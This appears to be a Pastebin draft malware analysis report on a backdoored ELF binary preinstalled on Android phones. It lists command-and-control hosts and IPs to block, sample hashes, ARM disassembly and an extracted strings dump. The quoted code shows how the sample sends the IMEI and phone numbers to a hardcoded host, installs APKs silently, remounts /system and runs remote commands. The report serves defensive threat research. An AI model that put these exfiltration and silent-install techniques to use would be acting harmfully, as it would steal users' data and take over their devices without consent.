Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #MalwareMustDie spot analysis report (draft):
- #ELF China-origin "suspected" malware found pre-installed in Android phone.
- #package: debugsbin.apk/android.debugs.bin
- #Current verdict: OEM pre-install backdoored ELF. Manufactured/distributed via www.ragentek.com, OEM? PUP/UnwantedWare?
- #malicious act: sent credentials (ALERT!), fetch binaries (self-update?), can not confirm apk sigs in Google.
- #ref: http://www.observatoriodeseguridad.com/?p=230 | english translation: http://goo.gl/BCy7vf
- #confirmation / analysis see full thread: https://twitter.com/MalwareMustDie/status/689980357475725312
- #announce thread: https://twitter.com/MalwareMustDie/status/689974787876241408 (has screenshots)
- #thanks to @timstrazz (mobile expert) for jumping in to this "uncertainty apps" case..
- # BLOCK THESE:
- ota.ragentek.com. 120 IN A 61.129.57.47 (hostname: hardcoded)
- ota1.ragentek.com. 120 IN CNAME iduvjfv.qiniudns.com. (hostname: hardcoded)
- iduvjfv.qiniudns.com. 600 IN CNAME ota1.ragentek.com.cdnga.net.
- ota1.ragentek.com.cdnga.net. 20 IN A 14.0.44.82
- oyag.lhzbdvm.com. 3600 IN A 114.80.68.223 (hostname: hardcoded) <==== active forensics PoC
- oyag.prugskh.net. 100 IN A 195.22.26.248 // sinkhole (hostname: hardcoded)
- oyag.prugskh.com. 100 IN A 195.22.26.248 // sinkhole (hostname: hardcoded)
- 210.51.45.89 (ip hard-coded @0x053915!12)
- 114.80.68.223 (ip hard-coded @0x04FC23!13)
- #route info:
- 61.129.57.47||4812 | 61.129.0.0/17 | CHINANET-SH | CN | cndata.com | Data Communication Division
- 14.0.44.82||36408 | 14.0.40.0/21 | CDNETWORKSUS-02 | US | cdnetworks.com | UTILUS
- 114.80.68.223||4812 | 114.80.0.0/16 | CHINANET-SH | CN | chinatelecom.com.cn | ChinaNet Shanghai Province Network
- 210.51.45.89|mail.goodview-digital.com.|9929 | 210.51.45.0/24 | CNCNET | CN | meihua.info | Shanghai Caohejing IDC of China Netcom
- #samples:
- [0x00007418]> ! file *
- debugs: elf 32-bit lsb shared object, arm, eabi5 version 1 (sysv), dynamically linked, interpreter /system/bin/linker, stripped
- debugsbak: elf 32-bit lsb shared object, arm, eabi5 version 1 (sysv), dynamically linked, interpreter /system/bin/linker, stripped
- debugsrun: elf 32-bit lsb shared object, arm, eabi5 version 1 (sysv), dynamically linked, interpreter /system/bin/linker, stripped
- [0x00007418]> ! md5 *
- md5 (debugs) = a0061e4b77dacd1cb25b0ee0e1c7b9ce
- md5 (debugsbak) = a0061e4b77dacd1cb25b0ee0e1c7b9ce
- md5 (debugsrun) = 3e76bc08ea812adebfaa72cd72daf5d2
- ## some quicky reversing for the backdoor malicious part.. (to send phone information to remote host w/o consent)
- ## there are more of these using above hostnames/ip to communicate, some for registration or updates
- ## there are also some data sent for the "sales" purpose.
- ;; snips:
- 0x0742a movs r0, #3
- 0x0742c mov r1, r0
- 0x0742e add r2, pc ; "debugs"
- 0x07430 add r3, pc ; "push_config_init start \n"
- :
- 0x07454 movs r0, #3
- 0x07456 mov r1, r0
- 0x07458 add r2, pc ; "debugs"
- 0x0745a add r3, pc ; "push_config_init database is not exist "
- :
- 0x07472 mov r1, r0
- 0x07474 add r2, pc ; "debugs"
- 0x07476 add r3, pc ; "push_config_init database is create[...]"
- :
- 0x0747c ldr r1, =(aselectfromsqli - 0x748e)
- 0x0747e add r6, sp, #0x40+var_24
- 0x07480 add r7, sp, #0x40+var_30
- 0x07482 movs r5, #0
- 0x07484 str r6, [sp,#0x40+var_40]
- 0x07486 str r7, [sp,#0x40+var_3c]
- 0x07488 ldr r0, [sp,#0x40+var_34]
- 0x0748a add r1, pc ; "select * from sqlite_master where type="
- :
- 0x074c6 add r2, pc ; "debugs"
- 0x074c8 mov r1, r0
- 0x074ca add r3, pc ; "push_search table[t_config] result=%d\n"
- :
- // backdoor 1 starts.. regist matter?
- 0x077a8 ldr r7, =(adomain - 0x77b0)
- 0x077aa mov r1, r4
- 0x077ac add r7, pc ; "domain"
- 0x077ae mov r0, r7
- 0x077b0 bl 0x0647c
- 0x077b4 cmp r0, #1
- 0x077b6 str r0, [sp,#0x40+var_28]
- 0x077b8 beq loc_77c4
- 0x077ba ldr r1, =(0x04AB84 - 0x77c2)
- 0x077bc mov r0, r7
- 0x077be add r1, pc ; "http://oyag.lhzbdvm.com:8082/padm"
- 0x077c0 bl 0x060cc
- // backdoor2 starts...
- 0x043DEA ldr r2, =(0x048C4C - 0x043DF6)
- 0x043DEC ldr r3, =(0x04F32B - 0x043DF8)
- 0x043DEE movs r0, #3
- 0x043DF0 mov r1, r0
- 0x043DF2 add r2, pc ; "debugs"
- 0x043DF4 add r3, pc ; "sendDataToServer start"
- :
- 0x043E7C ldr r0, =(0x0495B9 - 0x043E84)
- 0x043E7E mov r1, r8
- 0x043E80 add r0, pc ; "PORT"
- 0x043E82 BL sub_647C
- :
- 0x043E98 mov r1, r0
- 0x043E9A add r2, pc ; "debugs"
- 0x043E9C add r3, pc ; "IP=%s,PORT
- :
- 0x043EA2 movs r0, #2
- 0x043EA4 strh.w r0, [sp,#0x8B8+var8A4]
- 0x043EA8 mov r0, r8 ; char *
- 0x043EAA blx atoi
- 0x043EAE rev16 r0, r0
- 0x043EB0 strh.w r0, [sp,#0x8B8+var8A2]
- 0x043EB4 mov r0, r7
- 0x043EB6 blx inet_addr
- 0x043EBA movs r2, #0x10
- 0x043EBC str r0, [sp,#0x8B8+var8A0]
- 0x043EBE add r1, sp, #0x8B8+var8A4
- 0x043EC0 mov r0, r4
- 0x043EC2 blx connect
- :
- 0x043F1E mov r1, r0
- 0x043F20 add r2, pc ; "debugs"
- 0x043F22 add r3, pc ; "strRequest===%s,len
- ;
- 0x043F52 ldr.w r10, =(0x04F3AF - 0x043F5E)
- 0x043F56 add r6, pc
- 0x043F58 add r7, pc ; "debugs"
- 0x043F5A add r10, pc ; "strResponse=%
- :
- 0x043F88 ldr r1, =(0x043F88 - 0x043F90)
- 0x043F8A mov r0, r5 ; char *
- 0x043F8C add r1, pc ; "HTTP/1.1 200 OK"
- 0x043F8E blx strstr
- 0x043F92 cmp r0, #0
- :
- 0x043FC8 mov r1, r0
- 0x043FCA add r2, pc ; "debugs"
- 0x043FCC add r3, pc ; "request ok..%d--
- :
- 0x043FFC mov r1, r0
- 0x043FFE add r2, pc ; "debugs"
- 0x044000 add r3, pc ; "outstr=
- :
- 0x04401C ldr r2, =(0x048C4C - 0x04402A)
- 0x04401E ldr r3, =(0x04F3EF 0x04402C)
- 0x044020 movs r0, #3
- 0x044022 str r5, [sp,#0x8B8+var8B8]
- 0x044024 mov r1, r0
- 0x044026 add r2, pc ; "debugs"
- 0x044028 add r3, pc ; "sendDataToServer rtn=%
- :
- 0x04415E movs r4, #1
- 0x044160 add r10, pc ; "POST /pagt/agent?data={\"name\":\"c_regist"
- 0x044162 add r11, pc ; "\",\"version\":\""
- :
- 0x04419C ldr r1, =(0x04F493 - 0x0441A6)
- 0x04419E mov.w r2, #0x0400
- 0x0441A2 add r1, pc ; "\",\"model\":\""
- 0x0441A4 add r0, sp, #0x0488+var42C
- 0x0441A6 blx __strcat_chk
- 0x0441AA mov r1, r7
- 0x0441AC mov.w r2, #0x0400
- 0x0441B0 add r0, sp, #0x0488+var42C
- 0x0441B2 blx __strcat_chk
- 0x0441B6 ldr r1, =(0x04F49F - 0x0441C0)
- 0x0441B8 mov.w r2, #0x0400
- 0x0441BC add r1, pc ; "\",\"c_bin_version\":\""
- 0x0441BE add r0, sp, #0x0488+var42C
- 0x0441C0 blx __strcat_chk
- 0x0441C4 mov r1, r8
- 0x0441C6 mov.w r2, #0x0400
- 0x0441CA add r0, sp, #0x0488+var42C
- 0x0441CC blx __strcat_chk
- 0x0441D0 ldr r1, =(0x04F4B3 - 0x0441DA)
- 0x0441D2 mov.w r2, #0x0400
- 0x0441D6 add r1, pc ; "\",\"c_apk_version\":\""
- 0x0441D8 add r0, sp, #0x0488+var42C
- 0x0441DA blx __strcat_chk
- 0x0441DE ldr r1, [SP,#0x0488+var478]
- 0x0441E0 mov.w r2, #0x0400
- 0x0441E4 add r0, sp, #0x0488+var42C
- 0x0441E6 blx __strcat_chk
- 0x0441EA ldr r1, =(0x04F4C7 - 0x0441F4)
- 0x0441EC mov.w r2, #0x0400
- 0x0441F0 add r1, pc ; "\",\"imei\":\""
- 0x0441F2 add r0, sp, #0x0488+var42C
- 0x0441F4 blx __strcat_chk
- 0x0441F8 ldr r1, [SP,#0x0488+var474]
- 0x0441FA mov.w r2, #0x0400
- 0x0441FE add r0, sp, #0x0488+var42C
- 0x044200 blx __strcat_chk
- 0x044204 ldr r1, =(0x04F4D2 - 0x04420E)
- 0x044206 mov.w r2, #0x0400
- 0x04420A add r1, pc ; "\",\"phoneNumber1\":\""
- 0x04420C add r0, sp, #0x0488+var42C
- 0x04420E blx __strcat_chk
- 0x044212 ldr r1, [SP,#0x0488+var470]
- 0x044214 mov.w r2, #0x0400
- 0x044218 add r0, sp, #0x0488+var42C
- 0x04421A blx __strcat_chk
- 0x04421E ldr r1, =(0x04F4E5 - 0x044228)
- 0x044220 mov.w r2, #0x0400
- 0x044224 add r1, pc ; "\",\"phoneNumber2\":\""
- 0x044226 add r0, sp, #0x0488+var42C
- 0x044228 blx __strcat_chk
- 0x04422C ldr r1, [SP,#0x0488+var46C]
- 0x04422E mov.w r2, #0x0400
- 0x044232 add r0, sp, #0x0488+var42C
- 0x044234 blx __strcat_chk
- 0x044238 ldr r1, =(0x04F4F8 - 0x044242)
- 0x04423A mov.w r2, #0x0400
- 0x04423E add r1, pc ; "\",\"countryName\":\""
- 0x044240 add r0, sp, #0x0488+var42C
- 0x044242 blx __strcat_chk
- 0x044246 ldr r1, [SP,#0x0488+var468]
- 0x044248 mov.w r2, #0x0400
- 0x04424C add r0, sp, #0x0488+var42C
- 0x04424E blx __strcat_chk
- 0x044252 ldr r1, =(0x04F50A - 0x04425C)
- 0x044254 mov.w r2, #0x0400
- 0x044258 add r1, pc ; "\"}} HTTP/1.1\r\nHost: "
- 0x04425A add r0, sp, #0x0488+var42C
- 0x04425C blx __strcat_chk
- 0x044260 movs r2, #0x32 ; size_t
- 0x044262 movs r1, #0 ; int
- 0x044264 add r0, sp, #0x0488+var460 ; void *
- 0x044266 blx memset
- 0x04426A mov r1, r4
- 0x04426C add r0, sp, #0x0488+var460
- 0x04426E BL 0x062E8
- 0x044272 add r1, sp, #0x0488+var460
- 0x044274 mov.w r2, #0x0400
- 0x044278 add r0, sp, #0x0488+var42C
- 0x04427A blx __strcat_chk
- 0x04427E ldr r1, =(0x04F51F - 0x044288)
- 0x044280 mov.w r2, #0x0400
- 0x044284 add r1, pc ; "\r\nConnection: Close\r\n\r\n"
- 0x044286 add r0, sp, #0x0488+var42C
- 0x044288 blx __strcat_chk
- .. and so on.. grab the samples in tgz at the blog stated in the above link.
- ## These strings gave you enough idea of what its processes are:
- .ident :0x0463F8 Android
- .rodata:0x048954 am broadcast -a android.debugs.bin.newmsg
- .rodata:0x048B54 pm install -r
- .rodata:0x048BB8 rm -rf
- .rodata:0x048C1C /proc/mounts
- .rodata:0x048C29 %255s %255s %*s %*s %d %d\n
- .rodata:0x048C44 /system
- .rodata:0x048C4C debugs
- .rodata:0x048C53 debugs mtk remount start....\n
- .rodata:0x048C71 none
- .rodata:0x048C76 debugs mtk remount result....=%d\n
- .rodata:0x048C98 52
- .rodata:0x048C9B 35
- .rodata:0x048C9E /dev/block/platform/mtk-msdc.0/by-name/system
- .rodata:0x048CCC /emmc@android
- .rodata:0x048CDA ext4
- .rodata:0x048CDF debugs remount RW succeeded\n
- .rodata:0x048CFC debugs remount RW failed== %s\n
- .rodata:0x048D1B debugs mtk romount result....=%d\n
- .rodata:0x048D3D ro.build.type
- .rodata:0x048D4C user
- .rodata:0x048D51 debugs remount RO succeeded\n
- .rodata:0x048D6E debugs remount RO failed== %s\n
- .rodata:0x048D8D IMEI
- .rodata:0x048D92 MOBILE_VERSION
- .rodata:0x048DA1 MOBILE_MODEL
- .rodata:0x048DAE P2
- .rodata:0x048DB1 v5.0
- .rodata:0x048DB6 registRtn=%d\n
- .rodata:0x048DC4 salesServices \n
- .rodata:0x048DD4 MOBILE_PLATFORM
- .rodata:0x048DE4 82
- .rodata:0x048DE7 92
- .rodata:0x048DEA 72
- .rodata:0x048DED === nv_item=%d, paltform=%s\n
- .rodata:0x048E0A === NVRam read error \n
- .rodata:0x048E21 ===NVRam success registerTag=%d,%d,rec_size=%d,rec_num=%d\n
- .rodata:0x048E5C === has registed, stop sales services \n
- .rodata:0x048E84 === regist success, but write tag failed \n
- .rodata:0x048EAF === regist success, and write tag success \n
- .rodata:0x048EDB === regist success, stop sales services \n
- .rodata:0x048F05 getMobileRunTime=%d\n
- .rodata:0x048F1A time recive, need send registed\n
- .rodata:0x048F3B === time recive, but write tag failed \n
- .rodata:0x048F63 === time recive, and write tag success \n
- .rodata:0x048F8C time recive, do send registed\n
- .rodata:0x048FAB sleepTimeOut timeout=%d \n
- .rodata:0x048FC5 DEVICE_LAST_REQ_TIME
- .rodata:0x048FDA %d
- .rodata:0x048FDD sleepTimeOut time over last_time=%ld \n
- .rodata:0x049004 sleepTimeOut time over curr_time=%ld,last_time=%ld,timeout=%d \n
- .rodata:0x049046 http_download being=%s\n
- .rodata:0x04905E http_downLoad create http failed!\n
- .rodata:0x049081 http_downLoad load icon-url failed! errno=%#x url=%s \n
- .rodata:0x0490B8 /sdcard/Download/
- .rodata:0x0490CA download icon finish! ok.\n
- .rodata:0x0490E5 download icon error! errno=%#x\n
- .rodata:0x049105 push_debugs_doPushClient start \n
- .rodata:0x049126 bin_server_id
- .rodata:0x049134 apk_server_id
- .rodata:0x049142 bin_version
- .rodata:0x04914E apk_version
- .rodata:0x04915A bin_url
- .rodata:0x049162 apk_url
- .rodata:0x04916A push_debugs_do_push_apk bin_server_id=%s,apk_server_id=%s,bin_version=%s,apk_version=%s,bin_url=%s,apk_url=%s \n
- .rodata:0x0491DA create http failed!\n
- .rodata:0x0491EF load client-bin-url failed! errno=%#x url=%s \n
- .rodata:0x04921E download client-bin-finish! ok.\n
- .rodata:0x04923F download client-bin-error! errno=%#x\n
- .rodata:0x049265 load client-apk-url failed! errno=%#x url=%s \n
- .rodata:0x049294 debugsbin.apk
- .rodata:0x0492A2 download client-apk finish! ok.\n
- .rodata:0x0492C3 pm install -r /sdcard/Download/debugsbin.apk
- .rodata:0x0492F0 download client-apk error! errno=%#x\n
- .rodata:0x049316 push_debugs_doPushClient end \n
- .rodata:0x049335 parseHttpRtnStr start.. push_debugs res=%d \n
- .rodata:0x049362 code
- .rodata:0x049367 name
- .rodata:0x04936C push_apk
- .rodata:0x049375 push_link
- .rodata:0x04937F push_text
- .rodata:0x049389 push_client
- .rodata:0x049395 push_config
- .rodata:0x0493A1 push_commands
- .rodata:0x0493AF parseHttpRtnStr has new data. \n
- .rodata:0x0493CF parseHttpRtnStr has not any data . \n
- .rodata:0x0493F4 details
- .rodata:0x0493FC parseHttpRtnStr response.code=%s,response.name=%s \n
- .rodata:0x049430 doPushCommand start \n
- .rodata:0x049446 server_id
- .rodata:0x049450 title
- .rodata:0x049456 comments
- .rodata:0x04945F commands
- .rodata:0x049468 doPushCommand server_id=%s,title=%s,comments=%s,commands=%s \n
- .rodata:0x0494A8 61
- .rodata:0x0494AB doPushCommand system ok!! status = %d\n
- .rodata:0x0494D2 doPushCommand system error!! status = %d\n
- .rodata:0x0494FE update local database success.\n
- .rodata:0x04951E update local database failed.\n
- .rodata:0x04953D doPushCommand end \n
- .rodata:0x049551 doPushConfig start \n
- .rodata:0x049566 ip
- .rodata:0x049569 port
- .rodata:0x04956E url
- .rodata:0x049572 time_out
- .rodata:0x04957B doPushText server_id=%s,ip=%s,port=%s,url=%s,time_out=%s \n
- .rodata:0x0495B6 IP
- .rodata:0x0495B9 PORT
- .rodata:0x0495BE TIME_OUT
- .rodata:0x0495C7 DOMAIN
- .rodata:0x0495D0 51
- .rodata:0x0495D3 doPushConfig end \n
- .rodata:0x0495E6 doPushText start \n
- .rodata:0x0495F9 icon
- .rodata:0x0495FE doPushText server_id=%s,title=%s,comments=%s,icon=%s \n
- .rodata:0x049635 --es serverId \"
- .rodata:0x049645 \" --es title \"
- .rodata:0x049654 \" --es comments \"
- .rodata:0x049666 \" --es icon \"
- .rodata:0x049674 \" --es type
- .rodata:0x049681 \"pushText\"
- .rodata:0x04968C commandsStr=%s\n
- .rodata:0x04969E 00
- .rodata:0x0496A1 doPushText end \n
- .rodata:0x0496B2 doPushLink start \n
- .rodata:0x0496C5 doPushLink server_id=%s,title=%s,comments=%s,url=%s,icon=%s \n
- .rodata:0x049703 \" --es url \"
- .rodata:0x049710 \"pushLink\"
- .rodata:0x04971D doPushLink end \n
- .rodata:0x04972E doPushApk start \n
- .rodata:0x049740 package_name
- .rodata:0x04974D install_type
- .rodata:0x04975A doPushApk server_id=%s,title=%s,comments=%s,url=%s,package=%s,icon=%s,install_type=%s \n
- .rodata:0x0497B2 12
- .rodata:0x0497B7 \" --es package \"
- .rodata:0x0497C8 \"SilentInstallation\"
- .rodata:0x0497DD \"DownloadAndInstall\"
- .rodata:0x0497F2 doPushApk end \n
- .rodata:0x049802 push_debugs begin start... \n
- .rodata:0x04981F mkdir /sdcard/Download
- .rodata:0x049836 rm /sdcard/Download/debugs
- .rodata:0x049851 rm /sdcard/Download/debugsbin.apk
- .rodata:0x049873 am broadcast -a android.debugs.bin.newmsg --es type init
- .rodata:0x0498AC broadcast debugs---%d\n
- .rodata:0x0498C3 chmod 755 system/bin/unint8int
- .rodata:0x0498E2 CLIENT_BIN_VERSION
- .rodata:0x0498F5 CLIENT_APK_VERSION
- .rodata:0x049908 PHONE_NUMBER_1
- .rodata:0x049917 PHONE_NUMBER_2
- .rodata:0x049926 COUNTRY_CODE
- .rodata:0x049933 rtnstr == 00\n
- .rodata:0x049941 01
- .rodata:0x049944 rtnstr == 01\n
- .rodata:0x049952 sendRegisteData fail!!!!\n
- .rodata:0x04996C DEVICE_START_TIMES
- .rodata:0x04997F DEVICE_START_TIME
- .rodata:0x049991 count_time_rtn=%d,deviceST=%s,currT=%ld,lastT=%ld\n
- .rodata:0x0499C4 totalMins=%d\n
- .rodata:0x0499D2 lasttime=%d,curr_time=%d\n
- .rodata:0x0499EC push_timeout=%ld\n
- .rodata:0x0499FE have no new data---\n
- .rodata:0x049A13 rtn1=%d\n
- .rodata:0x049A1C rtn2=%d\n
- .rodata:0x049A25 have new data---\n
- .rodata:0x049A37 response.name=%s\n
- .rodata:0x049A49 getSyncData open error
- .rodata:0x049A60 getSyncData table[t_push_infos] result=%d \n
- .rodata:0x049A8C getSyncData table[t_push_infos] serverId=%s,type=%s,flag=%s,date=%s \n
- .rodata:0x049AD2 getSyncData database close fail \n
- .rodata:0x049AF4 getSyncData database close success \n
- .rodata:0x049B19 push_config_getRequestURL start \n
- .rodata:0x049B3B push_config_getRequestURL end \n
- .rodata:0x049B5B I am a boy
- .rodata:0x049B66 push_config_insert begin \n
- .rodata:0x049B81 push_config_getUUID_db open error
- .rodata:0x049BA3 '; insert into t_config(name,value) values('
- .rodata:0x049BD0 ','
- .rodata:0x049BD4 ')
- .rodata:0x049BD7 push_config_insert fail:%s, num:%d \n
- .rodata:0x049BFC push_config_insert database close fail \n
- .rodata:0x049C25 push_config_insert database close success \n
- .rodata:0x049C51 no ip address
- .rodata:0x049C5F HostName:%s\n
- .rodata:0x049C6C getIPConfig times:%d\n
- .rodata:0x049C82 getIPConfig parse ip.... !\n
- .rodata:0x049CA0 push_search table[t_config] result=%d where name='%s'\n
- .rodata:0x049CD7 push_search table[t_config] result=%d value=%s where name='%s'\n
- .rodata:0x049D17 -1
- .rodata:0x049D1A push_config_getConfigByName database close fail \n
- .rodata:0x049D4C push_config_getConfigByName database close success \n
- .rodata:0x049D81 push_config_getTimeOut start....................
- .rodata:0x049DB2 ' where name = '
- .rodata:0x049DC3 push_updateConfig success result=%d\n
- .rodata:0x049DE8 push_updateConfig failed result=%d\n
- .rodata:0x049E0C push_config_updateConfig database close fail \n
- .rodata:0x049E3B push_config_updateConfig database close success \n
- .rodata:0x049E6D insertPushInfo start \n
- .rodata:0x049E84 push_config_insertPushInfo open error
- .rodata:0x049EAA push_config_insertPushInfo fail:%s, num:%d \n
- .rodata:0x049ED7 push_config_insertPushInfo database close fail \n
- .rodata:0x049F08 push_config_insertPushInfo database close success \n
- .rodata:0x049F3C push_config_updatePushInfoFlag open error
- .rodata:0x049F66 ',update_time='
- .rodata:0x049F76 ' ,is_remote_sync='0' where server_id='
- .rodata:0x049F9E ' and type='
- .rodata:0x049FAB sql=%s
- .rodata:0x049FB2 push_config_updatePushInfoFlag fail:%s, num:%d \n
- .rodata:0x049FE3 push_config_updatePushInfoFlag database close fail \n
- .rodata:0x04A018 push_config_updatePushInfoFlag database close success \n
- .rodata:0x04A050 push_config_updatePushInfoSync open error
- .rodata:0x04A07A ' where server_id='
- .rodata:0x04A08E updatePushInfoSync,sql=%s
- .rodata:0x04A0A8 push_config_updatePushInfoSync fail:%s, num:%d \n
- .rodata:0x04A0D9 push_config_updatePushInfoSync database close fail \n
- .rodata:0x04A10E push_config_updatePushInfoSync database close success \n
- .rodata:0x04A146 push_config_getFlagPushInfo open error
- .rodata:0x04A16D ' order by server_id limit 1
- .rodata:0x04A18A push_config_getFlagPushInfo table[t_push_infos] result=%d where server_id='%s'\n
- .rodata:0x04A1DA push_config_getFlagPushInfo table[t_push_infos] result=%d flag=%s where server_id='%s'\n
- .rodata:0x04A232 push_config_getFlagPushInfo database close fail \n
- .rodata:0x04A264 push_config_getFlagPushInfo database close success \n
- .rodata:0x04A299 getConfigByNameFromAPK open error
- .rodata:0x04A2BB getConfigByNameFromAPK table[t_config] result=%d where name='%s'\n
- .rodata:0x04A2FD getConfigByNameFromAPK table[t_config] result=%d value=%s where name='%s'\n
- .rodata:0x04A348 getConfigByNameFromAPK database close fail \n
- .rodata:0x04A375 getConfigByNameFromAPK database close success \n
- .rodata:0x04A3A5 updatePushInfoAPKSync open error
- .rodata:0x04A3C6 updatePushInfoAPKSync sql=%s
- .rodata:0x04A3E3 updatePushInfoAPKSync fail:%s, num:%d \n
- .rodata:0x04A40B updatePushInfoAPKSync database close fail \n
- .rodata:0x04A437 updatePushInfoAPKSync database close success \n
- .rodata:0x04A466 syncApkDataToLocal open error
- .rodata:0x04A484 syncApkDataToLocal table[t_push_infos] rows=%d,columns=%d\n
- .rodata:0x04A4BF syncApkDataToLocal table[t_push_infos] serverId=%s,type=%s,flag=%s,updateTime=%s\n
- .rodata:0x04A511 syncApkDataToLocal database close fail \n
- .rodata:0x04A53A syncApkDataToLocal database close success \n
- .rodata:0x04A566 push_config_getUUID_db open error\n
- .rodata:0x04A589 getUUIDFromSettings open error
- .rodata:0x04A5A8 SELECT value FROM secure WHERE name='android_id'
- .rodata:0x04A5D9 getUUIDFromSettings table[secure] result=%d where name='android_id'\n
- .rodata:0x04A61E getUUIDFromSettings table[secure] result=%d value=%s where name='android_id'\n
- .rodata:0x04A66C getUUIDFromSettings database close fail \n
- .rodata:0x04A696 getUUIDFromSettings database close success \n
- .rodata:0x04A6C3 push_config_init start \n
- .rodata:0x04A6DC push_config_init database is not exist \n
- .rodata:0x04A705 push_config_init database is create success or exist \n
- .rodata:0x04A73C SELECT * FROM sqlite_master WHERE type='table' AND name='t_config'
- .rodata:0x04A77F push_config_init table[t_config] search fail \n
- .rodata:0x04A7AE push_search table[t_config] result=%d\n
- .rodata:0x04A7D5 create table t_config(ID integer primary key autoincrement,name nvarchar(30),value nvarchar(30))
- .rodata:0x04A836 push_config_init table[t_config] create fail \n
- .rodata:0x04A865 push_config_init table[t_config] create success \n
- .rodata:0x04A897 push_config_init table[t_config] is exist \n
- .rodata:0x04A8C3 SELECT * FROM sqlite_master WHERE type='table' AND name='t_push_infos'
- .rodata:0x04A90A push_config_init table[t_push_infos] search fail \n
- .rodata:0x04A93D push_search table[t_push_infos] result=%d\n
- .rodata:0x04A968 create table t_push_infos(ID integer primary key autoincrement,server_id nvarchar(20),type nvarchar(2),title nvarchar(100),comments nvarchar(500), url nvarchar(100), package nvarchar(30),icon nvarchar(100), installType nvarchar(2),flag nvarchar(2),is_remote_sync nvarchar(2),update_time nvarchar(25))
- .rodata:0x04AA95 push_config_init table[t_push_infos] create fail \n
- .rodata:0x04AAC8 push_config_init table[t_push_infos] create success \n
- .rodata:0x04AAFE push_config_init table[t_push_infos] is exist \n
- .rodata:0x04AB2E push_config_init database close fail \n
- .rodata:0x04AB55 push_config_init database close success \n
- .rodata:0x04AB7F 8082
- .rodata:0x04AB84 http://oyag.lhzbdvm.com:8082/padm
- .rodata:0x04ABA6 insertConfig-------%s\n
- .rodata:0x04ABBD push_config_getSalesTestUrlTag open error\n
- .rodata:0x04ABE8 getSalesTestUrlTag open error
- .rodata:0x04AC06 SELECT value FROM system WHERE name='ota_server_url'
- .rodata:0x04AC3B getSalesTestUrlTag table[system] result=%d where name='ota_server_url'\n
- .rodata:0x04AC83 getSalesTestUrlTag table[system] result=%d value=%s where name='ota_server_url'\n
- .rodata:0x04ACD4 getSalesTestUrlTag database close fail \n
- .rodata:0x04ACFD getSalesTestUrlTag database close success \n
- .rodata:0x04AD2B UUID
- .rodata:0x04AD30 IS_REGISTERED
- .rodata:0x04AD3E /data/data/com.mediatek.mobileaudioconnction/databases/audio.db
- .rodata:0x04AD7E /data/data/com.android.providers.settings/databases/settings.db
- .rodata:0x04ADBE system/bin/unint8int
- .rodata:0x04ADD3 SQLITE_
- .rodata:0x04ADDB SYSTEM_MALLOC
- .rodata:0x04ADE9 THREADSAFE=1
- .rodata:0x04ADF6 922337203685477580
- .rodata:0x04AE09 SET NULL
- .rodata:0x04AE12 SET DEFAULT
- .rodata:0x04AE1E CASCADE
- .rodata:0x04AE26 RESTRICT
- .rodata:0x04AE2F NO ACTION
- .rodata:0x04AE39 UNION ALL
- .rodata:0x04AE43 INTERSECT
- .rodata:0x04AE4D EXCEPT
- .rodata:0x04AE54 UNION
- .rodata:0x04AE5A INTEGER
- .rodata:0x04AE62 create
- .rodata:0x04AE69 trigger
- .rodata:0x04AE71 temp
- .rodata:0x04AE76 temporary
- .rodata:0x04AE80 end
- .rodata:0x04AE84 explain
- .rodata:0x04AE8C 2014-04-03 16:53:12 a611fa96c4a848614efe899130359c9f6fb889c3
- .rodata:0x04AEC9 _ROWID_
- .rodata:0x04AED1 ROWID
- .rodata:0x04AED7 OID
- .rodata:0x04AEDB unknown error
- .rodata:0x04AEE9 abort due to ROLLBACK
- .rodata:0x04AEFF unordered
- .rodata:0x04AF09 sz=[0-9]*
- .rodata:0x04AF13 string or blob too big
- .rodata:0x04AF2A integer
- .rodata:0x04AF32 text
- .rodata:0x04AF37 real
- .rodata:0x04AF3C blob
- .rodata:0x04AF41 null
- .rodata:0x04AF46 integer overflow
- .rodata:0x04AF57 local time unavailable
- .rodata:0x04AF6E sqlite_temp_master
- .rodata:0x04AF81 sqlite_master
- .rodata:0x04AF8F CAND
- .rodata:0x04AF97 ,
- .rodata:0x04AF9C %lld
- .rodata:0x04AFA1 %!.15g
- .rodata:0x04AFA8 -Inf
- .rodata:0x04AFAD +Inf
- .rodata:0x04AFB2 Inf
- .rodata:0x04AFB6 (NULL)
- .rodata:0x04AFBD NULL
- .rodata:0x04AFC2 NaN
- .rodata:0x04AFCA invalid page number %d
- .rodata:0x04AFE1 2nd reference to page %d
- .rodata:0x04AFFA now
- .rodata:0x04AFFE localtime
- .rodata:0x04B008 unixepoch
- .rodata:0x04B012 utc
- .rodata:0x04B016 weekday
- .rodata:0x04B01F start of
- .rodata:0x04B029 month
- .rodata:0x04B02F year
- .rodata:0x04B034 day
- .rodata:0x04B038 hour
- .rodata:0x04B03D minute
- .rodata:0x04B044 second
- .rodata:0x04B04B LIKE or GLOB pattern too complex
- .rodata:0x04B06C ESCAPE expression must be a single character
- .rodata:0x04B09B %!.20e
- .rodata:0x04B0A2 %02d
- .rodata:0x04B0A7 %06.3f
- .rodata:0x04B0AE %03d
- .rodata:0x04B0B3 %.16g
- .rodata:0x04B0B9 %04d
- .rodata:0x04B0BE %04d-%02d-%02d %02d:%02d:%02d
- .rodata:0x04B0DC %02d:%02d:%02d
- .rodata:0x04B0EB %04d-%02d-%02d
- .rodata:0x04B0FA %llu
- .rodata:0x04B0FF C%llu
- .rodata:0x04B105 %s
- .rodata:0x04B108 rowid
- .rodata:0x04B10E %s:%d
- .rodata:0x04B114 vtable constructor failed: %s
- .rodata:0x04B132 vtable constructor did not declare schema: %s
- .rodata:0x04B160 hidden
- .rodata:0x04B167 Chidden
- .rodata:0x04B16F USING TEMP B-TREE
- .rodata:0x04B182 COMPOUND SUBQUERIES %d AND %d %s(%s)
- .rodata:0x04B1A7 USE TEMP B-TREE FOR %s
- .rodata:0x04B1BE %s.%s
- .rodata:0x04B1C4 column%d
- .rodata:0x04B1CD %s.rowid
- .rodata:0x04B1D6 name=%Q
- .rodata:0x04B1DE %s OR name=%Q
- .rodata:0x04B1EC type='trigger' AND (%s)
- .rodata:0x04B204 tbl_name=%Q
- .rodata:0x04B210 %s%.*s\"%w\"
- .rodata:0x04B21B %s%s
- .rodata:0x04B220 %.*s\"%w\"%s
- .rodata:0x04B22D parser stack overflow
- .rodata:0x04B243 no such collation sequence: %s
- .rodata:0x04B262 BINARY
- .rodata:0x04B269 not authorized
- .rodata:0x04B278 authorizer malfunction
- .rodata:0x04B28F sqlite_
- .rodata:0x04B297 aaa
- .rodata:0x04B29B corrupt database
- .rodata:0x04B2AC unknown database %T
